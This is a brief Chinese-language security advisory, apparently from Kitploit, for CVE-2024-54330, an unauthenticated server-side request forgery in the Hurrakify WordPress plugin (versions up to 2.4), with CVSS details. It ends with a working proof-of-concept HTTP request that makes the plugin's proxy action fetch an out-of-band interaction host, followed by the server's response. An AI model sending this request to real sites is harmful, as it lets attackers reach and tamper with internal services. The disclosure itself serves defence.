CVE-2024-54330 — Hurrakify <= 2.4 - 未认证的服务端请求伪造 | Kitploit

CVE-2024-54330

Hurrakify <= 2.4 - 未经身份验证的服务器端请求伪造

描述

WordPress 的 Hurrakify 插件在所有版本（最高包含 2.4）中均存在服务器端请求伪造漏洞。这使得未经身份验证的攻击者能够从 Web 应用发起对任意位置的 Web 请求，并可用于查询和修改内部服务的信息。

详情

类型：插件
Slug：hurrakify
受影响版本：2.4
CVSS 分数：7.2
CVSS 评级：高危
CVSS 向量：CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CVE：CVE-2024-54330
状态：激活

PoC

GET /wp-admin/admin-ajax.php?action=hurraki_tooltip_proxy&target=http%3A%2F%2Fqrl9eu4dot1s941aio2eom17oyupif64.oast.site HTTP/2
Host: wp-dev.ddev.site

<html><body>bfdibc85r04ky96cie05dfzjjgigz</body></html>